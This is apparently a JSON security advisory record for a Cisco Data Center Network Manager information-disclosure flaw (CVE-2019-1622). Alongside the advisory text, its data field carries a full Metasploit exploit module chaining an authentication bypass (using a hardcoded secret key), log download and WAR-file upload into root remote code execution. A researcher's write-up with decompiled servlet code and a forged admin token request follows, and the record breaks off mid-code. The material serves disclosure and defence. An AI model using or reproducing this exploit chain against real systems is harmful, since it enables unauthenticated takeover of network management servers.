{
  "document": {
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      {
        "summary": "Cisco would like to thank independent security researcher Pedro Ribeiro for reporting this vulnerability to the iDefense Vulnerability Contributor Program."
      }
    ],
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "notes": [
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        "category": "summary",
        "text": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to retrieve sensitive information from an affected device.\r\n\r\nThe vulnerability is due to improper access controls for certain URLs on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download log files and diagnostic information from the affected device.\r\n\r\nThere are no workarounds that address this vulnerability.\r\n\r\nThis advisory is available at the following link:\r\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl [\"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl\"]",
        "title": "Summary"
      },
      {
        "category": "general",
        "text": "This vulnerability affects Cisco Data Center Network Manager (DCNM) Software.\r\n\r\nFor information about affected software releases, consult the Cisco bug ID(s) at the top of this advisory.",
        "title": "Vulnerable Products"
      },
      {
        "category": "general",
        "text": "Only products listed in the Vulnerable Products [\"#vp\"] section of this advisory are known to be affected by this vulnerability.",
        "title": "Products Confirmed Not Vulnerable"
      },
      {
        "category": "general",
        "text": "There are no workarounds that address this vulnerability.",
        "title": "Workarounds"
      },
      {
        "category": "general",
        "text": "For information about fixed software releases [\"https://sec.cloudapps.cisco.com/security/center/resources/security_vulnerability_policy.html#fixes\"], consult the Cisco bug ID(s) at the top of this advisory.\r\n\r\nWhen considering software upgrades, customers are advised to regularly consult the advisories for Cisco products, which are available from the Cisco Security Advisories and Alerts page [\"https://www.cisco.com/go/psirt\"], to determine exposure and a complete upgrade solution.\r\n\r\nIn all cases, customers should ensure that the devices to be upgraded contain sufficient memory and confirm that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, customers are advised to contact the Cisco Technical Assistance Center (TAC) or their contracted maintenance providers.",
        "title": "Fixed Software"
      },
      {
        "category": "general",
        "text": "To learn about Cisco security vulnerability disclosure policies and publications, see the Security Vulnerability Policy [\"https://sec.cloudapps.cisco.com/security/center/resources/security_vulnerability_policy.html\"]. This document also contains instructions for obtaining fixed software and receiving security vulnerability information from Cisco.",
        "title": "Vulnerability Policy"
      },
      {
        "category": "general",
        "text": "The Cisco Product Security Incident Response Team (PSIRT) is aware that proof-of-concept exploit code is available for the vulnerability described in this advisory.\r\n\r\nThe Cisco PSIRT is not aware of any malicious use of the vulnerability that is described in this advisory.",
        "title": "Exploitation and Public Announcements"
      },
      {
        "category": "general",
        "text": "Cisco would like to thank independent security researcher Pedro Ribeiro for reporting this vulnerability to the iDefense Vulnerability Contributor Program.",
        "title": "Source"
      },
      {
        "category": "legal_disclaimer",
        "text": "THIS DOCUMENT IS PROVIDED ON AN \"AS IS\" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME.\r\n\r\nA standalone copy or paraphrase of the text of this document that omits the distribution URL is an uncontrolled copy and may lack important information or contain factual errors. The information in this document is intended for end users of Cisco products.",
        "title": "Legal Disclaimer"
      }
    ],
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      "contact_details": "Emergency Support:\r\n+1 877 228 7302 (toll-free within North America)\r\n+1 408 525 6532 (International direct-dial)\r\nNon-emergency Support:\r\nEmail: psirt@cisco.com\r\nSupport requests that are received via e-mail are typically acknowledged within 48 hours.",
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            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CVE-2019-1622",
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            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
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            "author": "CNNVD",
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            "id": "VHN-148344",
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        "id": "VHN-148344"
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        "id": "CVE-2019-1622"
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    "data": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to retrieve sensitive information from an affected device. The vulnerability is due to improper access controls for certain URLs on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download log files and diagnostic information from the affected device. \nAn attacker can exploit this issue to obtain sensitive information that may aid in further attacks. \nThis issue is being tracked by Cisco Bug ID CSCvo64654. \n        This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n        work on a few versions below 10.4(2). \n      },\n      \u0027Author\u0027         =\u003e\n        [\n          \u0027Pedro Ribeiro \u003cpedrib[at]gmail.com\u003e\u0027        # Vulnerability discovery and Metasploit module\n        ],\n      \u0027License\u0027        =\u003e MSF_LICENSE,\n      \u0027References\u0027     =\u003e\n        [\n          [ \u0027CVE\u0027, \u00272019-1619\u0027 ], # auth bypass\n          [ \u0027CVE\u0027, \u00272019-1620\u0027 ], # file upload\n          [ \u0027CVE\u0027, \u00272019-1622\u0027 ], # log download\n          [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\u0027 ],\n          [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\u0027 ],\n          [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\u0027 ],\n          [ \u0027URL\u0027, \u0027https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb\u0027 ],\n          [ \u0027URL\u0027, \u0027https://seclists.org/fulldisclosure/2019/Jul/7\u0027 ]\n        ],\n      \u0027Platform\u0027       =\u003e \u0027java\u0027,\n      \u0027Arch\u0027           =\u003e ARCH_JAVA,\n      \u0027Targets\u0027        =\u003e\n        [\n          [ \u0027Automatic\u0027, {} ],\n          [\n            \u0027Cisco DCNM 11.1(1)\u0027, {}\n          ],\n          [\n            \u0027Cisco DCNM 11.0(1)\u0027, {}\n          ],\n          [\n            \u0027Cisco DCNM 10.4(2)\u0027, {}\n          ]\n        ],\n      \u0027Privileged\u0027     =\u003e true,\n      \u0027DefaultOptions\u0027 =\u003e { \u0027WfsDelay\u0027 =\u003e 10 },\n      \u0027DefaultTarget\u0027  =\u003e 0,\n      \u0027DisclosureDate\u0027 =\u003e \u0027Jun 26 2019\u0027\n    ))\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptBool.new(\u0027SSL\u0027, [true, \u0027Connect with TLS\u0027, true]),\n        OptString.new(\u0027TARGETURI\u0027, [true,  \"Default server path\", \u0027/\u0027]),\n        OptString.new(\u0027USERNAME\u0027, [true,  \"Username for auth (required only for 11.0(1) and above\", \u0027admin\u0027]),\n        OptString.new(\u0027PASSWORD\u0027, [true,  \"Password for auth (required only for 11.0(1) and above\", \u0027admin\u0027]),\n      ])\n  end\n\n  def check\n    # at the moment this is the best way to detect\n    # check if pmreport and fileUpload servlets return a 500 error with no params\n    res = send_request_cgi(\n      \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027pmreport\u0027),\n      \u0027vars_get\u0027  =\u003e\n      {\n        \u0027token\u0027  =\u003e rand_text_alpha(5..20)\n      },\n      \u0027method\u0027 =\u003e \u0027GET\u0027\n    )\n    if res \u0026\u0026 res.code == 500\n      res = send_request_cgi(\n        \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027fileUpload\u0027),\n        \u0027method\u0027 =\u003e \u0027GET\u0027,\n      )\n      if res \u0026\u0026 res.code == 500\n        return CheckCode::Detected\n      end\n    end\n\n    CheckCode::Unknown\n  end\n\n  def target_select\n    if target != targets[0]\n      return target\n    else\n      res = send_request_cgi(\n        \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027fmrest\u0027, \u0027about\u0027,\u0027version\u0027),\n        \u0027method\u0027 =\u003e \u0027GET\u0027\n      )\n      if res \u0026\u0026 res.code == 200\n        if res.body.include?(\u0027version\":\"11.1(1)\u0027)\n          print_good(\"#{peer} - Detected DCNM 11.1(1)\")\n          print_status(\"#{peer} - No authentication required, ready to exploit!\")\n          return targets[1]\n        elsif res.body.include?(\u0027version\":\"11.0(1)\u0027)\n          print_good(\"#{peer} - Detected DCNM 11.0(1)\")\n          print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\n          return targets[2]\n        elsif res.body.include?(\u0027version\":\"10.4(2)\u0027)\n          print_good(\"#{peer} - Detected DCNM 10.4(2)\")\n          print_status(\"#{peer} - No authentication required, ready to exploit!\")\n          return targets[3]\n        else\n          print_error(\"#{peer} - Failed to detect target version.\")\n          print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\n          print_error(res.body)\n          print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\n          return targets[3]\n        end\n      end\n      fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\n    end\n  end\n\n  def auth_v11\n    res = send_request_cgi(\n      \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm/\u0027),\n      \u0027method\u0027 =\u003e \u0027GET\u0027,\n      \u0027vars_get\u0027  =\u003e\n      {\n        \u0027userName\u0027  =\u003e datastore[\u0027USERNAME\u0027],\n        \u0027password\u0027  =\u003e datastore[\u0027PASSWORD\u0027]\n      },\n    )\n\n    if res \u0026\u0026 res.code == 200\n      # get the JSESSIONID cookie\n      if res.get_cookies\n        res.get_cookies.split(\u0027;\u0027).each do |cok|\n          if cok.include?(\"JSESSIONID\")\n            return cok\n          end\n        end\n      end\n    end\n  end\n\n  def auth_v10\n    # step 1: get a JSESSIONID cookie and the server Date header\n    res = send_request_cgi(\n      \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm/\u0027),\n      \u0027method\u0027 =\u003e \u0027GET\u0027\n    )\n\n    # step 2: convert the Date header and create the auth hash\n    if res \u0026\u0026 res.headers[\u0027Date\u0027]\n      jsession = res.get_cookies.split(\u0027;\u0027)[0]\n      date = Time.httpdate(res.headers[\u0027Date\u0027])\n      server_date = date.strftime(\"%s\").to_i * 1000\n      print_good(\"#{peer} - Got sysTime value #{server_date.to_s}\")\n\n      # auth hash format:\n      # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\n      session_id = rand(1000..50000).to_s\n      md5 = Digest::MD5.digest \u0027admin\u0027 + session_id + server_date.to_s +\n        \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"\n      md5_str = Base64.strict_encode64(md5)\n\n      # step 3: authenticate our cookie as admin\n      # token format: sessionId.sysTime.md5_str.username\n      res = send_request_cgi(\n        \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027pmreport\u0027),\n        \u0027cookie\u0027 =\u003e jsession,\n        \u0027vars_get\u0027  =\u003e\n        {\n          \u0027token\u0027  =\u003e \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\"\n        },\n        \u0027method\u0027 =\u003e \u0027GET\u0027\n      )\n\n      if res \u0026\u0026 res.code == 500\n        return jsession\n      end\n    end\n  end\n\n  # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log\n  def get_war_path\n    res = send_request_cgi(\n      \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027log\u0027, \u0027fmlogs.zip\u0027),\n      \u0027method\u0027 =\u003e \u0027GET\u0027\n    )\n\n    if res \u0026\u0026 res.code == 200\n      tmp = Tempfile.new\n      # we have to drop this into a file first\n      # else we will get a Zip::GPFBit3Error if we use an InputStream\n      File.binwrite(tmp, res.body)\n      Zip::File.open(tmp) do |zis|\n        zis.each do |entry|\n          if entry.name =~ /jboss[0-9]*\\.log/\n            fdata = zis.read(entry)\n            if fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.:]*)/]\n              tmp.close\n              tmp.unlink\n              return $1.strip\n            end\n          end\n        end\n      end\n    end\n  end\n\n\n  def exploit\n    target = target_select\n\n    if target == targets[2]\n      jsession = auth_v11\n    elsif target == targets[3]\n      jsession = auth_v10\n    end\n\n    # targets[1] DCNM 11.1(1) doesn\u0027t need auth!\n    if jsession.nil? \u0026\u0026 target != targets[1]\n      fail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\n    elsif target != targets[1]\n      print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\n    end\n\n    war_path = get_war_path\n    if war_path.nil? or war_path.empty?\n      fail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\")\n    else\n      print_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\")\n    end\n\n    # Generate our payload... and upload it\n    app_base = rand_text_alphanumeric(6..16)\n    war_payload = payload.encoded_war({ :app_name =\u003e app_base }).to_s\n\n    fname = app_base + \u0027.war\u0027\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\")\n    post_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\")\n    post_data.add_part(war_payload,\n                       \"application/octet-stream\", \u0027binary\u0027,\n                       \"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\")\n    data = post_data.to_s\n\n    print_status(\"#{peer} - Uploading payload...\")\n    res = send_request_cgi(\n      \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, \u0027fm\u0027, \u0027fileUpload\u0027),\n      \u0027method\u0027 =\u003e \u0027POST\u0027,\n      \u0027data\u0027   =\u003e data,\n      \u0027cookie\u0027 =\u003e jsession,\n      \u0027ctype\u0027  =\u003e \"multipart/form-data; boundary=#{post_data.bound}\"\n    )\n\n    if res \u0026\u0026 res.code == 200 \u0026\u0026 res.body[/#{fname}/]\n      print_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\")\n\n      sleep 10\n\n      print_status(\"#{peer} - Executing payload...\")\n      send_request_cgi(\n        \u0027uri\u0027    =\u003e normalize_uri(target_uri.path, app_base),\n        \u0027method\u0027 =\u003e \u0027GET\u0027\n      )\n    else\n      fail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\")\n    end\n  end\nend\n. \nDCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. \n\nThe table below lists the affected versions for each vulnerability:\n\nVulnerability                                           Vulnerable?                              CVE\n                            \u003c= 10.4(2)          11.0(1)         11.1(1)       \u003e= 11.2(1) \nAuthentication bypass           Yes               No              No              No           2019-1619\nFile upload                 Yes, auth          Yes, auth      Yes, unauth         No           2019-1620\nFile download               Yes, auth          Yes, auth      Yes, unauth         No           2019-1621\nInfo disclosure             Yes, unauth        Yes, unauth    Yes, unauth         ?            2019-1622\n\nThe authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. \nIn version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. \nAmazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!\nAll vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. \n\nTo achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus\u00ae and Cisco Multilayer Distributed Switching (MDS) solutions. \nDCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. \n\nThe snippet of code below shows what the servlet does:\ncom.cisco.dcbu.web.client.performance.ReportServlet\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tCredentials cred = (Credentials)request.getSession().getAttribute(\"credentials\");\n\t\tif((cred == null || !cred.isAuthenticated()) \u0026\u0026 !\"fetch\".equals(request.getParameter(\"command\")) \u0026\u0026 !this.verifyToken(request)) {\n\t\t\trequest.setAttribute(\"popUpSessionTO\", \"true\");\n\t\t}\n\n\t\tthis.doInteractiveChart(request, response);\n\t}\n  \nThe request is passed on to the verifyToken function, listed below:\n  private boolean verifyToken(HttpServletRequest httpServletRequest) {\n\t\tString token = httpServletRequest.getParameter(\"token\");\n\t\tif(token == null) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\ttry {\n\t\t\t\tFMServerRif serverRif = SQLLoader.getServerManager();\n\t\t\t\tIscRif isc = serverRif.getIsc(StringEncrypter.encryptString(\"DESede\", (new Date()).toString()));\n\t\t\t\ttoken = URLDecoder.decode(token, \"UTF-8\");\n\t\t\t\ttoken = token.replace(\u0027 \u0027, \u0027+\u0027);\n\t\t\t\tFMUserBase fmUserBase = isc.verifySSoToken(token);\n\t\t\t\tif(fmUserBase == null) {\n\t\t\t\t\treturn false;\n\t\t\t\t} else {\n\t\t\t\t\tCredentials newCred = new Credentials();\n\t\t\t\t\tint idx = fmUserBase.getUsername().indexOf(64);\n\t\t\t\t\tnewCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));\n\t\t\t\t\tnewCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));\n\t\t\t\t\tnewCred.setRole(fmUserBase.getRole());\n\t\t\t\t\tnewCred.setAuthenticated(true);\n\t\t\t\t\thttpServletRequest.getSession().setAttribute(\"credentials\", newCred);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t} catch (Exception var8) {\n\t\t\t\tvar8.printStackTrace();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n  \nAs it can be seen in the line:\n\t\t\t\tFMUserBase fmUserBase = isc.verifySSoToken(token);\nthe HTTP request parameter \"token\" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. \n\nLet\u0027s dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:\n\n\tpublic FMUserBase verifySSoToken(String ssoToken) {\n\t\treturn SecurityManager.verifySSoToken(ssoToken);\n\t}\n  \nDigging further into SecurityManager.verifySSoToken:\ncom.cisco.dcbu.sm.server.security.SecurityManager\n\npublic static FMUserBase verifySSoToken(String ssoToken) {\n\t\tString userName = null;\n\t\tFMUserBase fmUserBase = null;\n\t\tFMUser fmUser = null;\n\n\t\ttry {\n\t\t\tuserName = getSSoTokenUserName(ssoToken);\n\t\t\tif(confirmSSOToken(ssoToken)) {\n\t\t\t\tfmUser = UserManager.getInstance().findUser(userName);\n\t\t\t\tif(fmUser != null) {\n\t\t\t\t\tfmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());\n\t\t\t\t}\n\n\t\t\t\tif(fmUserBase == null) {\n\t\t\t\t\tfmUserBase = DCNMUserImpl.getFMUserBase(userName);\n\t\t\t\t}\n\n\t\t\t\tif(fmUserBase == null) {\n\t\t\t\t\tfmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception var5) {\n\t\t\t_Logger.info(\"verifySSoToken: \", var5);\n\t\t}\n\n\t\treturn fmUserBase;\n\t}\n\nAs it can be seen in the code above, the username is obtained from the token here:\n\t\t\tuserName = getSSoTokenUserName(ssoToken);\n\nDigging yet another layer we find the following:\npublic static String getSSoTokenUserName(String ssoToken) {\n\t\treturn getSSoTokenDetails(ssoToken)[3];\n\t}\n\n\tprivate static String[] getSSoTokenDetails(String ssoToken) {\n\t\tString[] ret = new String[4];\n\t\tString separator = getTokenSeparator();\n\t\tStringTokenizer st = new StringTokenizer(ssoToken, separator);\n\t\tif(st.hasMoreTokens()) {\n\t\t\tret[0] = st.nextToken();\n\t\t\tret[1] = st.nextToken();\n\t\t\tret[2] = st.nextToken();\n\n\t\t\tfor(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {\n\t\t\t\t;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n  \nSeems like the token is a string which is separated by the \"separator\" with four components, the fourth of which is the username. \n\nNow going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:\n        public static FMUserBase verifySSoToken(String ssoToken) {\n                (...)\n\t\t\tuserName = getSSoTokenUserName(ssoToken);\n\t\t\tif(confirmSSOToken(ssoToken)) {\n\t\t\t\tfmUser = UserManager.getInstance().findUser(userName);\n\t\t\t\tif(fmUser != null) {\n\t\t\t\t\tfmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());\n\t\t\t\t}\n                (...)\n        }\n                \n\tpublic static boolean confirmSSOToken(String ssoToken) {\n\t\tString userName = null;\n\t\tint sessionId = false;\n\t\tlong sysTime = 0L;\n\t\tString digest = null;\n\t\tint count = false;\n\t\tboolean ret = false;\n\n\t\ttry {\n\t\t\tString[] detail = getSSoTokenDetails(ssoToken);\n\t\t\tuserName = detail[3];\n\t\t\tint sessionId = Integer.parseInt(detail[0]);\n\t\t\tsysTime = (new Long(detail[1])).longValue();\n\t\t\tif(System.currentTimeMillis() - sysTime \u003e 600000L) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\tdigest = detail[2];\n\t\t\tif(digest != null \u0026\u0026 digest.equals(getMessageDigest(\"MD5\", userName, sessionId, sysTime))) {\n\t\t\t\tret = true;\n\t\t\t\tuserNameTLC.set(userName);\n\t\t\t}\n\t\t} catch (Exception var9) {\n\t\t\t_Logger.info(\"confirmSSoToken: \", var9);\n\t\t}\n\n\t\treturn ret;\n\t}\n  \nNow we can further understand the token. It seems it is composed of:\nsessionId + separator + sysTime + separator + digest + separator + username\n\t\nAnd what is the digest? Let\u0027s look into the getMessageDigest function:\n  \n\t\n\t\tprivate static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {\n\t\t\tString input = userName + sessionid + sysTime + SECRETKEY;\n\t\t\tMessageDigest md = MessageDigest.getInstance(algorithm);\n\t\t\tmd.update(input.getBytes());\n\t\t\treturn new String(Base64.encodeBase64((byte[])md.digest()));\n\t\t}\n    \nIt is nothing more than the MD5 of:\nuserName + sessionid + sysTime + SECRETKEY\n\n... and SECRETKEY is a fixed key in the code:\n\tprivate static final String SECRETKEY = \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\";\n  \n... while the separator is a \".\":\n\t  private static String getTokenSeparator()\n\t  {\n      return System.getProperty(\"security.tokenSeparator\", \".\");\n\t  }\n    \nIn summary, this is what happens:\nThe ReportServlet will happily authenticate any request, as long as it receives a token in the following format:\nsessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username\n\nThe sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here\u0027s an example token:\nGET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin\n\nThis request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. \nNote that the user has to be valid. The \"admin\" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. \n\nUnfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. \nIn 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:\n\n  private boolean verifyToken(HttpServletRequest httpServletRequest) {\n        (...)\n\t\t\t\t\tCredentials newCred = new Credentials();\n\t\t\t\t\tint idx = fmUserBase.getUsername().indexOf(64);\n\t\t\t\t\tnewCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));\n\t\t\t\t\tnewCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));                    \u003c--- exception occurs here\n\t\t\t\t\tnewCred.setRole(fmUserBase.getRole());\n\t\t\t\t\tnewCred.setAuthenticated(true);\n\t\t\t\t\thttpServletRequest.getSession().setAttribute(\"credentials\", newCred);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t} catch (Exception var8) {\n\t\t\t\tvar8.printStackTrace();\n\t\t\t\treturn false;\n\t\t\t}\n        (...)\n  }\n      \nThe exception returned is a \"com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded\". \nThis will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. \n\nI believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. \n\nOn version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4]. \n\nThe code for this servlet is listed below:\ncom.cisco.dcbu.web.client.reports.FileUploadServlet\n\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tthis.doGet(request, response);\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tCredentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\"));\n\t\tif (cred == null || !cred.isAuthenticated()) {\n\t\t\tthrow new ServletException(\"User not logged in or Session timed out.\");\n\t\t}\n\t\tthis.handleUpload(request, response);\n\t}\n  \nThe code shown above is simple, and the request is passed onto handleUpload:\n\n\tprivate void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tresponse.setContentType(CONTENT_TYPE);\n\t\tPrintWriter out = null;\n\t\tArrayList\u003cString\u003e allowedFormats = new ArrayList\u003cString\u003e();\n\t\tallowedFormats.add(\"jpeg\");\n\t\tallowedFormats.add(\"png\");\n\t\tallowedFormats.add(\"gif\");\n\t\tallowedFormats.add(\"jpg\");\n\t\tallowedFormats.add(\"cert\");\n\t\tFile disk = null;\n\t\tFileItem item = null;\n\t\tDiskFileItemFactory factory = new DiskFileItemFactory();\n\t\tString statusMessage = \"\";\n\t\tString fname = \"\";\n\t\tString uploadDir = \"\";\n\t\tListIterator iterator = null;\n\t\tList items = null;\n\t\tServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);\n\t\tTransformerHandler hd = null;\n\t\ttry {\n\t\t\tout = response.getWriter();\n\t\t\tStreamResult streamResult = new StreamResult(out);\n\t\t\tSAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();\n\t\t\titems = upload.parseRequest(request);\n\t\t\titerator = items.listIterator();\n\t\t\thd = tf.newTransformerHandler();\n\t\t\tTransformer serializer = hd.getTransformer();\n\t\t\tserializer.setOutputProperty(\"encoding\", \"UTF-8\");\n\t\t\tserializer.setOutputProperty(\"doctype-system\", \"response.dtd\");\n\t\t\tserializer.setOutputProperty(\"indent\", \"yes\");\n\t\t\tserializer.setOutputProperty(\"method\", \"xml\");\n\t\t\thd.setResult(streamResult);\n\t\t\thd.startDocument();\n\t\t\tAttributesImpl atts = new AttributesImpl();\n\t\t\thd.startElement(\"\", \"\", \"response\", atts);\n\t\t\twhile (iterator.hasNext()) {\n\t\t\t\tatts.clear();\n\t\t\t\titem = (FileItem)iterator.next();\n\t\t\t\tif (item.isFormField()) {\n\t\t\t\t\tif (item.getFieldName().equalsIgnoreCase(\"fname\")) {\n\t\t\t\t\t\tfname = item.getString();\n\t\t\t\t\t}\n\t\t\t\t\tif (item.getFieldName().equalsIgnoreCase(\"uploadDir\") \u0026\u0026 (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {\n\t\t\t\t\t\tuploadDir = ClientCache.getJBossHome() + File.separator + \"server\" + File.separator + \"fm\" + File.separator + \"conf\";\n\t\t\t\t\t}\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", item.getFieldName());\n\t\t\t\t\thd.startElement(\"\", \"\", \"field\", atts);\n\t\t\t\t\thd.characters(item.getString().toCharArray(), 0, item.getString().length());\n\t\t\t\t\thd.endElement(\"\", \"\", \"field\");\n\t\t\t\t\tatts.clear();\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());\n\t\t\t\tIterator\u003cImageReader\u003e imageReaders = ImageIO.getImageReaders(imageInputStream);\n\t\t\t\tImageReader imageReader = null;\n\t\t\t\tif (imageReaders.hasNext()) {\n\t\t\t\t\timageReader = imageReaders.next();\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\tString imageFormat = imageReader.getFormatName();\n\t\t\t\t\tString newFileName = fname + \".\" + 